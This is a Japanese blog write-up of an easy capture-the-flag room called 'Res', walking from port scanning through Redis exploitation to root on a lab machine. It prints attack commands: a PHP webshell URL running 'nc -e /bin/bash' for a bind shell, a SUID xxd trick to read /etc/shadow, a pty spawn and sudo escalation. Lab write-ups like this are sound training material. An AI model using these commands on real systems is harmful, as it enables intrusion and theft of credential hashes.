はじめに
今回も難易度Easy
のルーム,Res
のWriteupを書いていきたいと思います.
ポートスキャン
いつも通りにポートスキャンです.
sudo nmap -p- -vv -T4 -O -sV 10.10.52.251
80のhttpと6379のredisが開いているみたいですね.今回はredis
がテーマなんですかね?
ディレクトリ探索
sudo gobuster dir -u 10.10.52.251 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
今回は何もなさそうです.
ブラウザで接続
Apacheのデフォルトページが出てきました.
とりあえず前やったルームと同じ感じで脆弱性がないか調査してみます.
redis 6.0.7 vulnerabilities
で検索してみます.
かなりいろいろ出てきました.
こういうのとかありました.
これだとSSHも必要そうだけど今回は開いていないからどうするか…
これのPHP webshellとかが使えそうですね.
今回はApacheなのでパスが間違ってますね.
10.10.52.251/shell.php
にアクセスしてみます.
PHPの基本情報が表示されるみたいですね.
PHP webshellの詳細の作り方については以下を参考にしました.ありがとうございました.
これでURLにコマンドを入力することで実行できるようになるみたいです.
上記の画像のコマンドで待ち受ける場合だと上手くいきません.
netcat
のオプションを見てみます.
-e
オプションで接続後に実行するコマンドを指定できるみたいです.
http://10.10.52.251/shell.php?cmd=nc -e /bin/bash -nlvp 1234
最終的にはこのコマンドでシェルとれるみたいです.
findコマンドで検索します.
find / -name user.txt
/home/vianka/user.txt
にあります.
ユーザーアカウントのパスワードは何?
/etc/shadow
も見れないみたいです.
suid権限が設定されているものがないか調べてみます.
find / -perm -u=s
xxd
コマンドが使えるみたいですね.
xxd
コマンドとは16進数にダンプしたり戻したりできるコマンドのことです.
おなじみのGTFObinsで調べてみます.
LFILE=/etc/shadow
xxd "$LFILE" | xxd -r
これでvianka
のユーザアカウントパスワードのハッシュ値が見れました.
*本編とは関係ないですが
python3 -c "import pty;pty.spawn('/bin/bash')"
でシェルの入力が楽になるみたいですね.
su vianka
でユーザーvianka
に切り替えてsudo -l
します.
全て実行できるのでsudo su
でOK
/root/root.txt
にあります.
おわりに
PHPなどの知識はほとんどないのでもう少し勉強したいですね.
やりたいことが多すぎて大変です…